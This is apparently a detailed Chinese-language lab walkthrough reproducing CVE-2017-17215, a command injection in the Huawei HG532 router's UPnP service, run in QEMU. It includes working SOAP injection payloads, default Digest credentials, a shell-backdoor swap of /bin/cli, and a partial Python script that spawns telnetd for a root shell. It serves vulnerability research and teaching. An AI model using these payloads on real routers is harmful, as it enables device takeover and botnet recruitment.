华为 HG532 UPnP /ctrlt/DeviceUpgrade_1 命令注入分析(CVE-2017-17215)
针对华为 HG532 系列路由器 upnp 守护进程(监听 37215)做静态审计,定位 /ctrlt/ DeviceUpgrade_1 的 Upgrade action 处理函数:其从 SOAP XML 取 NewDownloadURL 与 NewStatusURL 两个字段后,未经任何过滤直接 snprintf 拼入 upg 命令模板并交给 system(), 且该服务以 root 权限运行。
CVE-2017-17215 华为 HG532 远程代码执行漏洞 —— 完整复现过程(详细版)
漏洞编号: CVE-2017-17215
厂商/设备: 华为 HG532 / HG532e 家用路由器
漏洞类型: OS 命令注入 (CWE-78)
影响组件: UPnP/ctrlt/DeviceUpgrade_1SOAP 端点 (upnp二进制)
CVSS: 9.8 (Critical)
利用条件: LAN 侧可达 (端口 37215),需 Digest 认证 (默认凭据可绕过)
影响: 以 root 权限执行任意系统命令
野外利用: Satori / OKIRU 僵尸网络 (Mirai 变种) 曾大规模利用
目录
0. 查缺补漏
0、查缺补漏
mic — 消息服务器 Message Server
华为ATP自研中间件的IPC消息总线,全称理解为 Message Internal Communication
从 strings bin/mic 提取关键符号:
符号 | 含义 |
ATP_MIC_MsgSvrCreate | 创建消息服务器 |
ATP_MIC_SockSvrListen / ATP_UTIL_SocketCreateServer | 监听 socket |
ATP_MSG_RegisterMsgProc / MicMsgProc | 注册消息处理回调 |
ATP_MIC_MsgCltFindByName | 客户端按名称定位服务 |
ATP_MSG_Send / ATP_MSG_SendFd / ATP_MSG_RecvFd | 进程间收发消息,支持传递文件描述符 |
核心作用
- 启动生成Unix域套接字:
/var/msgsvr,作为路由器内部进程(upnp、web、cli、telnetd等)IPC通信总线 - 依赖
libcfmapi.so(配置管理CFM),加载配置成功输出日志:load cfm ok
复现地位(前置依赖)
必须优先启动mic;若mic未运行、/var/msgsvr 不存在,upnp连接消息总线失败直接 exit(-1)。
upnp — UPnP守护进程(漏洞本体 CVE‑2017‑17215)
项目 | 信息 |
监听端口 | TCP 37215 |
协议 | UPnP SOAP(HTTP+XML) |
漏洞接口 |
|
依赖库 | libhttpapi.so(HTTP)、libxmlapi.so(XML解析)、libmsgapi.so(消息)、libbhalapi.so(硬件抽象层) |
核心作用
对外提供局域网UPnP服务,处理SOAP请求。
漏洞根源:固件升级动作
DeviceUpgrade_1,直接将XML字段NewDownloadURL/NewStatusURL未做过滤拼接传入system(),造成命令注入。
进程关系
mic ──创建──► /var/msgsvr (Unix socket)
▲
│ connect
upnp ──监听──► 37215 (对外SOAP服务)- mic:消息总线服务端;upnp:mic的IPC客户端,依靠
/var/msgsvr完成通信。
QEMU复现标准启动步骤
echo 1 > /proc/sys/net/ipv6/bindv6only./mic# 输出 load cfm ok,生成 /var/msgsvr./upnp# 连接消息总线,开启37215端口监听
补充:mic、upnp启动都会执行5条
brctl addbr br0:9桥接命令;复现需要将这些调用patch为/bin/true,避免网卡断网。
一句话总结
mic是路由器内部IPC消息总线,必须先运行;upnp是带命令注入漏洞的UPnP业务进程,依赖mic才可正常启动对外提供服务。
一、漏洞概述
华为 HG532 的 upnp 守护进程在处理 DeviceUpgrade_1 SOAP 请求时,将从 XML 中提取的NewDownloadURL 和 NewStatusURL 参数值未经过滤直接拼接到 snprintf() → system() 调用:
snprintf(buf, 0x400,
"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b",
NewDownloadURL, // <-- 用户可控 (来自 SOAP XML)
NewStatusURL); // <-- 用户可控 (来自 SOAP XML)
system(buf);为什么这是漏洞:system() 会把拼接后的字符串交给 /bin/sh -c 执行。两个 %s 参数
(NewDownloadURL、NewStatusURL)完全由攻击者控制,且中间没有任何过滤、转义或白名单校验。
攻击者只需在参数中插入 ;、$(...) 或反引号,即可注入任意 shell 命令,并以 upnp 进程的
运行权限(root)执行。
二、环境准备
2.1 固件获取
固件来自 Internet Archive(archive.org)上的华为升级包 RAR 压缩包。
为什么用这个来源:HG532 已停产,官方不再提供固件下载。Internet Archive 保存了历史版本,
是获取该固件最可靠的途径。
HG532eV100R001C01B020_upgrade_packet.bin (3,608,317 字节)解压 RAR 后得到上述 .bin 文件。
2.2 固件解包
固件格式为:自定义包头 (0x21A8 字节) + LZMA 压缩 + SquashFS。
为什么需要 binwalk:路由器固件通常是"引导加载器 + 内核 + 文件系统"的组合,厂商会自定义
封装格式。binwalk 能自动识别嵌入的压缩数据和文件系统并递归解包,省去手工分析封装结构。
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin解包结果:
_HG532eV100R001C01B020_upgrade_packet.bin.extracted/
├── 21A8 # 自定义包头
├── 11180 # LZMA 解压后的数据
├── ECEF9.squashfs # SquashFS 文件系统 (华为魔改)
└── squashfs-root/ # 根文件系统 (binwalk 已解包)关键坑:华为的 SquashFS 是魔改的——magic 从标准 sqsh 改成了 qshs,且用 lzma
压缩。标准 unsquashfs 会报 Can't find a valid SQUASHFS superblock(因为 magic 不认),
或 read_block: failed(因为不支持 lzma)。
为什么标准工具解不开:
- 厂商为防第三方分析,故意改了 magic 字节;
- SquashFS 3.0 的 lzma 压缩需要
sasquatch(unsquashfs 的 lzma 分支)支持。
解决方式(二选一):
# 方式一:sasquatch(先修复 magic,再解包)
python3 -c "
data = bytearray(open('ECEF9.squashfs','rb').read())
data[0:4] = b'sqsh' # 修复 magic: qshs -> sqsh
open('ECEF9_fixed.squashfs','wb').write(data)
"
sasquatch -d squashfs-root ECEF9_fixed.squashfs
# 方式二:binwalk(自动识别华为魔改格式)
binwalk -e ECEF9.squashfs现在的解包工具非常强大,基本可以直接进行识别,如果想进行学习加密固件的解密,可以参考我的《固件解密》这篇博文
2.3 仿真环境(qemu-system MIPS)
HG532 是 MIPS 32-bit 大端 (big-endian) 架构。
为什么必须用 qemu-system(完整 VM)而非 qemu-user(chroot):mic/upnp 依赖 System V 消息队列(msgget/msgsnd)、真实内核 IPC 和 CFM 配置处理。
qemu-user 的 chroot 环境缺少真实内核,mic 启动会报 Load cfm failed: 40010004 然后退出,
导致 upnp 连不上 /var/msgsvr 也退出。只有 qemu-system 的完整 MIPS 内核能满足这些依赖。
镜像(Debian Squeeze MIPS 大端):
/home/bgl1/mips_vm_be/debian_squeeze_mips_standard.qcow2
/home/bgl1/mips_vm_be/vmlinux-2.6.32-5-4kc-malta启动命令(放在 tmux 会话里,-nographic 后台运行):
cd /home/bgl1/mips_vm_be
tmux new-session -d -s hg532 -x 200 -y 50 \
qemu-system-mips -M malta -m 256 \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append 'root=/dev/sda1 console=ttyS0' \
-nographic \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::37215-:37215,hostfwd=tcp::9999-:9999 \
-device e1000,netdev=net0
这里因为我们加上了-d参数,所以在后台执行这个我们是看不到,其实我们的虚拟机已经起来了;我们可以使用attach进行查看一下
tmux attach -t hg532
这里我们就发现起来了
参数说明(为什么这么配):
-M malta:MIPS Malta 开发板,qemu 对 MIPS 大端支持最成熟的主板-kernel ... -hda ...:直接加载内核 + 磁盘镜像-nographic:无图形界面,串口输出到终端-netdev user,...hostfwd=...:用户态网络 + 端口转发(SSH 2222、UPnP 37215、telnetd 9999)-device e1000:e1000 网卡(Malta 主板支持;pcnet/rtl8139 不被 Malta 支持)
登录:root/root,SSH 端口 2222
SSH 连接(Debian Squeeze 的 sshd 用老算法,需兼容参数):
sshpass -p root ssh -o StrictHostKeyChecking=no \
-o HostKeyAlgorithms=+ssh-rsa,ssh-dss \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-p 2222 root@127.0.0.1为什么加这些 -o 参数:新版 OpenSSH 默认禁用了 ssh-rsa/ssh-dss 老算法,而 Debian Squeeze
(2011 年的系统)的 sshd 只提供这些老算法,不加参数会报no matching host key type found。

三、静态分析 —— IDA 定位漏洞
核心思路:
识别网络服务 → 枚举危险函数 → 搜索危险字符串 → 交叉引用 → 追踪用户输入流 → 确认注入点。
3.1 识别攻击面
解包后,先看 /bin 下的二进制,识别网络服务:
cd squashfs-root/bin
file upnp mic web cwmp二进制 | 说明 | 端口 |
| UPnP 守护进程 | 37215 |
| 消息服务器 (IPC) | 内部 |
| Web 管理服务器 | 80 |
| TR-069 客户端 | — |

为什么优先审计 upnp:UPnP 服务在 LAN 侧无防火墙隔离、无需登录即可访问(本漏洞需 Digest 但
可绕过),且历史上是 IoT 设备命令注入的重灾区。upnp 监听 37215,是攻击面最大的目标。
查看 upnp 的保护机制(决定利用难度):
readelf -l bin/upnp
保护 | 状态 | 含义 |
RELRO | No RELRO | GOT 可写,可劫持函数指针 |
Stack Canary | No canary | 栈溢出无检测 |
NX | NX disabled | 栈可执行,可跑 shellcode |
PIE | No PIE | 固定基址,地址可预测 |
为什么看保护机制:决定漏洞利用方式。本例是命令注入(不依赖这些保护),但了解保护机制
是二进制审计的第一步——它告诉你如果存在栈溢出,能走什么利用路线。
3.2 IDA 打开二进制
- IDA Pro →
File→Open→ 选择bin/upnp - 架构选 MIPS big-endian(或让 IDA 自动识别)
为什么 IDA 能分析而 objdump 不行:华为把二进制的 section header (段头)剥离了(no section),标准 objdump 无法定位代码段而拒绝反汇编(报
headercan't disassemble for architecture)。IDA 会根据 program headers 自动重建段,正常分析。
UNKNOWN
3.3 搜索危险字符串(关键一步)
UPnP 的设备升级功能通常会调用 system()/popen() 执行升级命令。按 Shift+F12 打开字符串
窗口,搜索 upg(upgrade 的缩写):
.text:0x00414C60 "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b"
为什么这条字符串是铁证:
- 是一条
upg升级命令的模板,含有两个%s占位符; -U %s对应下载 URL,-r %s对应状态 URL;- 两个
%s都来自用户输入,直接拼进命令,是典型的snprintf+system组合。
同区域还能看到关联的服务定义字符串:
地址 (vaddr) | 字符串 | 含义 |
|
| system() 命令模板 |
|
| 服务 URN |
|
| SOAP action 名 |
|
| 另一个 action |
|
| HTTP 路径前缀 |



3.4 交叉引用定位漏洞函数
- 双击字符串
"upg -g -U %s ...",IDA 跳到该字符串; - 光标放在字符串上,按
X(或 Ctrl+X)查看交叉引用; - 找到加载该字符串地址的指令(
lui/addiu或lw通过 GOT),定位到调用函数; - 该函数即
DeviceUpgradeaction 的处理函数(命名类似ATP_UPNP_Upgrade)。
为什么要交叉引用:字符串本身只是数据,交叉引用能告诉我们"哪段代码用了这个字符串",
从而定位到处理逻辑。
在函数内可以看到典型的调用序列:
# 加载格式串地址到 a0
lui $a0, 0x414C
addiu $a0, $a0, 0x60 # a0 = "upg -g -U %s ..."
addiu $a1, $s0, 0 # a1 = NewDownloadURL
addiu $a2, $s1, 0 # a2 = NewStatusURL
addiu $a3, $zero, 0x400 # a3 = 0x400 (buf 大小)
jal snprintf # snprintf(buf, 0x400, fmt, URL, StatusURL)
# ...
addiu $a0, $s2, 0 # a0 = buf
jal system # system(buf) <-- 命令注入点按 F5 反编译成伪代码:
char buf[0x400];
snprintf(buf, 0x400,
"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b",
NewDownloadURL, NewStatusURL);
system(buf);为什么看到 snprintf 紧接 system 就要警惕:这是命令注入的经典模式——把用户输入
格式化进一个字符串,再交给 shell 执行。中间没有对输入做任何 sanitize。



上面这些汇编代码将漏洞展现的淋漓尽致,我们看一下啊:
① 提取第一个输入:NewDownloadURL
asm
la $t9, ATP_XML_GetChildNodeByName
lw $a0, 0x2C($a0) # a0 = 子节点
li $a1, aNewdownloadurl # "NewDownloadURL"
move $a2, $zero
jalr $t9 # 找名为 NewDownloadURL 的子节点
addiu $a3, $sp, 0x42C+var_40C # a3 = &var_40C ← 文本内容输出到这里ATP_XML_GetChildNodeByName 从 XML 里取出 <NewDownloadURL>...</NewDownloadURL>
的文本内容,把指针写进栈变量 var_40C。
② 提取第二个输入:NewStatusURL
asm
la $t9, ATP_XML_GetChildNodeByName
lw $a0, 0x2C($s0)
li $a1, aNewstatusurl # "NewStatusURL"
move $a2, $zero
jalr $t9
addiu $a3, $sp, 0x42C+var_408 # 文本内容输出到 &var_408
同理,<NewStatusURL> 的内容存进 var_408。③ 错误检查(说明这两个字段是「必须的」)
asm
bnez $v0, loc_407564 # GetChildNodeByName 返回非0(失败) → 走错误分支
...
beqz $v0, loc_407564 # 取到的文本指针为 NULL → 走错误分支
说明:NewDownloadURL 和 NewStatusURL 必须存在且非空,否则函数直接跳到 loc_407564
报错返回。所以攻击者的 SOAP 请求里这两个标签都得带上。
④ sink:拼接 → 执行
asm
la $t9, snprintf
lw $a3, 0x42C+var_40C($sp) # a3 = NewDownloadURL ← 第1个 %s,原样进命令串
li $a2, aUpgGUST1Firmwa # 格式串 "upg -g -U %s -t '...' -c upnp -r %s -d -b"
li $a2, aUpgGUST1Firmwa # 格式串 "upg -g -U %s -t '...' -c upnp -r %s -d -b"
move $a0, $s0 # a0 = &var_404 (栈上缓冲区)
li $a1, 0x400 # 缓冲大小
jalr $t9 # snprintf
la $t9, system
jalr $t9 # system # system(缓冲区)
move $a0, $s0 # a0 = 同一个缓冲区这就是「原因」的代码级证据
把整条链路画出来:
XML ──提取──► var_40C ──┐ ├─► snprintf(拼接) ──► system() 执行 XML ──提取──► var_408 ──┘ ↑ 用户可控 ↑ 无任何过滤/转义/校验
关键事实:从 ATP_XML_GetChildNodeByName(source)到
system()(sink),中间没有任何一个过滤、转义、白名单、长度以外的校验函数。var_40C / var_408
里存的就是攻击者 XML 里的原始字节,直接进了 shell。从而导致了漏洞的产生
我们看一下c语言代码,现在我们需要去证明这两个变量我们是可以控制的;

这里我们发现这里我们进行交叉引用查看是谁调用sub-40749c函数的时候,我们发现报了一个错误"没有函数调用这个sub-40749c函数",不用慌,这正好印证了这个漏洞的典型特征;这里说明这个sub_40749C 是 UPnP 的 action handler,它不是被直接调用的,而是被「函数指针表」间接调用的,怎么办呢?线索断了,不用慌,我们可以换个思路。去找是谁把sub_40749C 的地址放进了注册表?最有效的入口是交叉引用 "Upgrade" 这个字符串——因为注册表通常是「action 名 ↔ handler 地址」成对绑定的,"Upgrade" 字符串和 sub_40749C 会出现在同一段注册代码里。


这里给大家进行澄清一个误区,正常情况下ida只能找到那种直接进行调用的函数,而找不到间接调用的函数,即使我们找到注册表在查看这个函数是谁在进行调用的时候,也还是会报"没有这个函数调用的错误"其实我们进行查找注册表,并不是为了查找是谁调用这个函数,而是看是谁存储着这个函数的地址,去寻找是谁读取这个表里面存储的地址,流程如下表所示。我们现在找到了是谁存储着这个地址了,如上图所示;其实sub_40749C的函数名字就包含着函数的地址0x40749c;
sub_40749C 的地址(数据)
↓ 存在哪?── 能追到
g_astActionArray(注册表)
↓ 谁读这张表?── 能追到
UPnPGetActionByName(查表函数)
↓ 谁调用这个查表函数?── 能追到
dispatcher(真正的调用者)UPnPGetActionByName函数的作用就是一个“业务员”的角色,这里的action 是「类别」,Upgrade 是「一个具体的 action」,这里我们相当于是告诉UPnPGetActionByName函数,我们要做Upgrade的业务,他就会给我指定对应的处理函数,这个函数就是sub_40749C这个函数,也就是楼哦东那个函数,所以我们现在需要找的是UPnPGetActionByName函数

我们找到这个函数,
我们找到这个UPnPGetActionByName函数之后进行交叉引用,我们就发现了UPnPGetActionByName函数的调用者sub_40A9C8 也就是 dispatcher。我们双击进去。

我们来到这里之后,我们看一下这个汇编代码,进行分析一下
asm
loc_40AD1C:
lw $a0, 0x390+var_318($sp) # a0 = 某个结构体指针(传给查表函数)
la $t9, UPnPGetActionByName # t9 = 查表函数地址
lw $a1, 0x390+var_31C($sp) # a1 = 参数2
lw $a2, 4($a0) # a2 = *(a0+4)
li $v0, 0x1F5 # 501(默认错误码,查不到就用它)
sw $v0, 0x390+var_340($sp)
...
jalr $t9 # UPnPGetActionByName # 查表
addiu $a3, $sp, 0x390+var_350 # a3 = 输出指针(延迟槽)
# ?? 查表返回后 ??
lw $a0, 0x390+var_350($sp) # 读出输出参数内容
move $s1, $v0 #$v0(= handler 地址 0x40749C)存进 $s1
li $v0, 1
...
bne $s0, $v0, loc_40AD98 # 分支判断
move $s1, $v0 = 查表返回的 handler 地址(0x40749C)被存进 $s1 保存起来。
我们看这里将s1里面的值赋给了t9,注意:s1里面是sub_40749C的地址,然后跳转到T9;
【攻击者输入】SOAP 请求 body 的 XML
<u:Upgrade>
<NewDownloadURL>...</NewDownloadURL>
<NewStatusURL>;telnetd...</NewStatusURL>
</u:Upgrade>
↓
【dispatcher】sub_40A9C8
收到请求,调 UPnPGetActionByName 查表
↓
【查表】UPnPGetActionByName
遍历 g_astActionArray,找到 "Upgrade" → handler = 0x40749C
↓
【最后一跳】move $t9, $s1 → jalr $t9 ← 你刚找到的
↓
【漏洞函数】sub_40749C (0x40749C)
ATP_XML_GetChildNodeByName 取两个参数 → snprintf → system
↓
【命令执行】以 root 权限执行注入的命令
上表是我们目前得到的信息,静态分析就结束了;
四、仿真部署
4.1 启动 qemu-system
见 2.3 节,启动 VM 后 SSH 登录。
4.2 部署固件到 VM
宿主机打包 squashfs-root,scp 到 VM,解包到 /hg532:
# 宿主机
cd .../squashfs-root/..
tar czf squashfs-root.tar.gz squashfs-root/
scp -P 2222 squashfs-root.tar.gz root@127.0.0.1:/tmp/
# VM 内
mkdir -p /hg532
cd /hg532
tar xzf /tmp/squashfs-root.tar.gz --strip-components=1
# 挂载 /dev 和 /proc (mic/upnp 运行需要)
mount -o bind /dev /hg532/dev
mount -t proc proc /hg532/proc

为什么挂载 /dev 和 /proc:chroot /hg532 后,进程的根目录变成 /hg532,但内核仍需要
访问真实的设备节点(/dev)和进程信息(/proc)。bind 挂载和 proc 挂载把这些真实的
内核对象"借"给 chroot 环境,否则 mic/upnp 访问设备、读进程信息都会失败。
4.3 patch 二进制(消除 br0:9 桥接)
问题:mic/upnp 启动时会通过 system() 执行以下命令创建 br0:9 桥接接口,
导致 qemu 的 e1000 网卡桥接超时、网络彻底断开:
brctl addbr br0:9 2> /dev/null
ifconfig br0:9 169.254.100.156 netmask 255.0.0.0 2> /dev/null
ifconfig br0:9 up 2> /dev/null
ifconfig br0:9 down 2> /dev/null
brctl delbr br0:9 2> /dev/null为什么这几条命令会断网:brctl addbr br0:9 创建了带冒号的桥接接口,触发 e1000 网卡的NETDEV WATCHDOG: eth0 (e1000): transmit queue 0 timed out,导致网络收发超时、SSH 断开。
(诚实说明:br0:9 与 e1000 冲突的确切内核机制尚未完全定位,这是通过「patch 前断网 /
patch 后网络稳定」的实测反推的结论。)
补充说明(固件还有其他 br0 命令,但失败无害):除 mic/upnp 的 br0:9 命令外,固件里cms/ethcmd/cli/web 等二进制还有大量 br0 桥接命令,如 brctl addif br0 eth0、ifconfig eth0 0.0.0.0——这是路由器标准的 LAN 桥接初始化流程(把 eth0 加入 br0,给 br0 配
192.168.1.1)。实测这些命令在 qemu 里失败无害:因为华为魔改的 brctl 与标准 Linux 内核
不兼容,addif 报 add group failed,eth0 未被加入 br0,保持独立 IP(10.0.2.15),所以 SSH
不断。因此只需 patch mic/upnp 的 br0:9 命令即可,无需处理 cms/ethcmd 的 br0 命令。
解决:把这 5 条命令字符串替换成 /bin/true(空格填充到原长度),让 system() 执行无害的/bin/true 而不是创建桥接。
已提供脚本 patch_brctl.py:
python3 patch_brctl.py <squashfs-root/bin 目录>用法:
python3 patch_brctl.py <squashfs-root/bin 目录>
其中 mic 的偏移: 0x63fc, 0x641c, 0x645c, 0x6490, 0x64b4
upnp 的偏移: 0x14618, 0x14638, 0x14678, 0x146a8, 0x146cc
"""
import sys
import os
import shutil
# 各二进制的命令字符串偏移 (文件内偏移)
OFFSETS = {
"mic": [0x63fc, 0x641c, 0x645c, 0x6490, 0x64b4],
"upnp": [0x14618, 0x14638, 0x14678, 0x146a8, 0x146cc],
}
def patch_binary(path, offsets):
with open(path, "rb") as f:
data = bytearray(f.read())
# 备份原始文件
bak = path + ".bak_orig"
if not os.path.exists(bak):
shutil.copyfile(path, bak)
print(f"[*] 备份 {path} -> {bak}")
for off in offsets:
# 找到字符串的 null 终止符
end = off
while end < len(data) and data[end] != 0:
end += 1
length = end - off
original = bytes(data[off:end])
# 替换成 /bin/true + 空格填充 (保持长度不变, 避免破坏后续字符串偏移)
pad = length - len(b"/bin/true")
if pad < 0:
print(f"[-] 偏移 0x{off:x} 处字符串太短 ({length} < {len(b'/bin/true')}), 跳过")
continue
data[off:end] = b"/bin/true" + b" " * pad
print(f"[*] 0x{off:x}: {original!r} -> /bin/true (len={length})")
with open(path, "wb") as f:
f.write(data)
print(f"[+] 已 patch {path}\n")
def main():
if len(sys.argv) != 2:
print(__doc__)
sys.exit(1)
bin_dir = sys.argv[1]
for name, offsets in OFFSETS.items():
path = os.path.join(bin_dir, name)
if not os.path.exists(path):
print(f"[-] 找不到 {path}, 跳过")
continue
patch_binary(path, offsets)
if __name__ == "__main__":
main()
脚本核心逻辑(偏移已从原始固件重新确认):
二进制 | 5 处命令字符串偏移 |
|
|
|
|
为什么用 /bin/true 而不是删掉:system() 的调用点在代码里固定,删除字符串会导致偏移
错乱或空指针。替换成 /bin/true(长度用空格补齐)保持二进制结构不变,只是让命令变成无害操作。
注:
mic和upnp各一份(共 10 处)。patch 后strings确认 brctl/ifconfig 已清除。
patch 后重新打包上传到 VM(或直接在 VM 里 patch)。在我们进行patch之后需要将patch过的新的固件重新加载进行vm,也就是上面的有些步骤需要重新做
4.4 替换 /bin/cli 为 shell 后门
华为的 telnetd 接受连接后 execv 的是 /var/cli 或 /bin/cli(华为 CLI,需密码)。
为了拿 root shell,把 /bin/cli 替换成直接启动 shell 的脚本:
# VM 内
cd /hg532/bin
mv cli cli.orig # 备份原始 cli
cat > cli <<'EOF'
#!/bin/sh
exec /bin/sh
EOF
chmod +x cli为什么需要这一步:telnetd 连接后执行的是 /bin/cli(华为命令行接口),它要求输入 CLI
密码(或依赖 CFM 认证)。把 cli 换成 exec /bin/sh 脚本后,telnetd 的连接会直接落到
root shell,绕过 CLI 认证。
之后
telnetd的连接会直接进入/bin/sh,无需 CLI 密码。
五、启动服务
5.1 设置 IPv6 bindv6only(关键!)
华为 telnetd 会同时创建 IPv4 + IPv6 socket。IPv6 socket 默认 v6only=0(双栈),bind(监听) 时与 IPv4 socket 冲突 → telnetd 直接 exit(-1)。必须设置:
# VM 内
echo 1 > /proc/sys/net/ipv6/bindv6only为什么这是关键坑:telnetd 先 socket(AF_INET) 绑定 0.0.0.0:9999 成功,再socket(AF_INET6) 绑定 :::9999。当 bindv6only=0(默认)时,IPv6 socket 会同时占用
IPv4 的 9999 端口,与已绑定的 IPv4 socket 冲突,报 Address already in use,telnetd 随即exit(-1)。设为 1 后 IPv6 socket 只绑 IPv6,不再冲突。
真实固件内核的
bindv6only默认值不同,所以真机上不会遇到此问题;这是 QEMU 仿真的特有问题。
5.2 启动 mic(消息服务器)
# VM 内
chroot /hg532 /bin/mic &为什么先启动 mic:mic 是消息服务器(IPC 核心),它启动后创建 /var/msgsvr socket。upnp 启动时要连接这个 socket,如果 mic 没起,upnp 连不上会退出。启动顺序不能颠倒。
预期结果:mic 加载 CFM 配置,创建 /var/msgsvr socket,fork 子进程。
验证:
ls -la /hg532/var/msgsvr # socket 文件存在
cat /hg532/var/micready # 内容为 1 表示就绪
这里mic就启动成功了
5.3 启动 upnp(UPnP 服务)
# VM 内
setsid chroot /hg532 /bin/upnp > /hg532/tmp/upnp.log 2>&1 < /dev/null &为什么用 setsid + 重定向:setsid 让 upnp 脱离当前终端会话,SSH 断开后进程不退出;
重定向 stdin/stdout 避免阻塞终端。
验证监听:
netstat -tlnp | grep 37215 # 0.0.0.0:37215 LISTEN启动顺序:先 mic(创建 msgsvr)→ 后 upnp(连接 msgsvr 并监听 37215)。
若 upnp 报Unable to open device /dev/bhal,touch /hg532/dev/bhal占位即可。
(bhal是华为硬件抽象层设备,QEMU 里没有,用空文件占位让 upnp 跳过该初始化。)
六、漏洞利用
6.1 认证绕过(Digest)
UPnP 端点返回 401 Unauthorized,需要 Digest 认证:
WWW-Authenticate: Digest realm="HuaweiHomeGateway", nonce="...", qop="auth", algorithm="MD5"默认凭据(华为 HG532 TR-064 出厂默认):
项 | 值 |
用户名 |
|
密码 |
|
realm |
|
为什么用这个凭据:dslf-config:admin 是华为 HG532 系列 TR-064/UPnP 接口的出厂默认凭据,
公开文档广泛记载,且本设备未修改默认值。
Digest 计算(HTTP Digest 认证标准算法):
HA1 = MD5(username:realm:password)
HA2 = MD5(method:uri)
response = MD5(HA1:nonce:nc:cnonce:qop:HA2)为什么 Digest 比 Basic 安全却仍被绕过:Digest 不传明文密码,但只要默认凭据未改,
攻击者同样能算出正确的 response。认证强度取决于密码强度,而非算法。
关键:正确 URN 是 urn:www-huawei-com:service:DeviceUpgrade:1(不是常见的urn:schemas-upnp-org:service:WANPPPConnection:1)。SOAPAction 头必须匹配:
SOAPAction: "urn:www-huawei-com:service:DeviceUpgrade:1#Upgrade"为什么 URN 很重要:UPnP 服务靠 URN 区分不同的 action。用错 URN,服务找不到对应处理
函数,注入不会触发。正确的 URN 从 DevUpg.xml 和二进制字符串(0x414CB8)确认。
6.2 命令注入验证
注入命令(用 echo 写文件验证,因为 busybox 精简版无 touch/id):
soap_body = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Upgrade xmlns:u="urn:www-huawei-com:service:DeviceUpgrade:1">
<NewStatusURL>;echo PWNED > /tmp/pwned;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>'''返回 200 OK,然后 VM 内 cat /hg532/tmp/pwned 看到 PWNED,证明命令注入成功。
为什么用 ;cmd; 而非直接写命令:原命令是upg -g -U HUAWEIUPNP -t '...' -c upnp -r ;echo PWNED > /tmp/pwned; -d -b。; 是 shell 的命令分隔符,;echo ...; 把注入的命令独立出来执行。同理可用 $(cmd) 或反引号。
为什么用 echo 不用 touch/id:此固件的 busybox 是精简版,bin/ 下只有ash cat chmod cp date echo kill ln ls mkdir mv netstat pidof ping ps rm sh sleep umount 等,
没有 touch/id/uname。用 echo > 文件 写文件是最可靠的验证方式。
6.3 启动 telnetd 后门
注入 telnetd -p 9999(华为 telnetd 的 optstring 是 s:t:p:,用 -p 指定端口):
<NewStatusURL>;telnetd -p 9999;</NewStatusURL>
三个关键点:
- telnetd 依赖 mic(msgsvr):telnetd 启动时会通过
ATP_MSG_Init连接/var/msgsvr
(unix socket),连接失败会立即exit(-1)。所以必须先启动 mic(§5.2),否则
telnetd 起不来。这一点在初版复现中被遗漏,容易误以为 telnetd 只需 bind 端口。 - 必须尽快连接(有超时退出机制):telnetd 在启动后会走
「ATP_MSG 连接 msgsvr 的握手(select10 秒超时)→ main 循环select等待连接(20 秒
超时)」的流程。实测 telnetd 在约 54 秒后退出(不是 20 秒——初版误判为 20 秒)。
注入后尽快连接即可(1 分钟内都来得及)。 - 注入后 upnp "无响应超时"是正常的:
system()会阻塞等待 telnetd(前台进程)退出,
telnetd 在超时退出前一直运行,所以 HTTP 响应超时。这不是崩溃——telnetd 已经在监听 9999。
6.4 获取 root shell
从宿主机连接 9999(telnet 协商后直接是 /bin/sh):
telnet 127.0.0.1 9999验证 root 权限:
# ls -la /
# ps # 所有进程 UID=0
# echo USER=$USER # USER=root为什么拿到的是 root shell:upnp 以 root 运行,system() 继承 root 权限;
telnetd 由 system() 启动,同样以 root 运行;telnetd execv 的 /bin/cli 已被替换成exec /bin/sh,所以连接后直接是 root shell。
完整利用链打通,成功获取 root shell(EUID=0)。

这里作者的环境出现了,端口冲突和stdin问题,导致upnp要么起不来,要么很快就退出来,非常麻烦,所以,我这边直接写个脚本将上面这几步统一做一下;
用法:
python3 get_shell.py
"""
import socket, hashlib, os, re, time, sys, subprocess
TARGET = "127.0.0.1"
PORT = 37215
SHELL_PORT = 9999
USER = "dslf-config"
PASS = "admin"
URI = "/ctrlt/DeviceUpgrade_1"
SSH = ("sshpass -p root ssh -o HostKeyAlgorithms=+ssh-rsa,ssh-dss "
"-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "
"-o ConnectTimeout=5 -p 2222 root@127.0.0.1")
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
def upnp_running():
try:
s = socket.socket(); s.settimeout(2)
s.connect((TARGET, PORT)); s.close()
return True
except Exception:
return False
def restart_upnp():
print("[*] upnp 未运行,启动自动重启循环...")
loop = ("while true; do tail -f /dev/null | chroot /hg532 /bin/upnp "
"> /hg532/tmp/upnp.log 2>&1; sleep 1; done")
subprocess.run(f"{SSH} 'setsid sh -c \"{loop}\" >/dev/null 2>&1 < /dev/null &'",
shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
timeout=10)
time.sleep(4)
if not upnp_running():
print("[-] upnp 启动失败,请手动检查")
sys.exit(1)
print("[+] upnp 已就绪 (37215)")
def inject_telnetd():
"""Digest 认证 + 注入 telnetd -p SHELL_PORT"""
soap = ('<?xml version="1.0" ?>'
'<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" '
's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
'<s:Body><u:Upgrade xmlns:u="urn:www-huawei-com:service:DeviceUpgrade:1">'
f'<NewStatusURL>;telnetd -p {SHELL_PORT};</NewStatusURL>'
'<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>'
'</u:Upgrade></s:Body></s:Envelope>')
# 第一步: 拿 nonce
s = socket.socket(); s.settimeout(8)
try:
s.connect((TARGET, PORT))
req = (f'POST {URI} HTTP/1.0\r\nHost: {TARGET}:{PORT}\r\n'
f'Content-Type: text/xml\r\n'
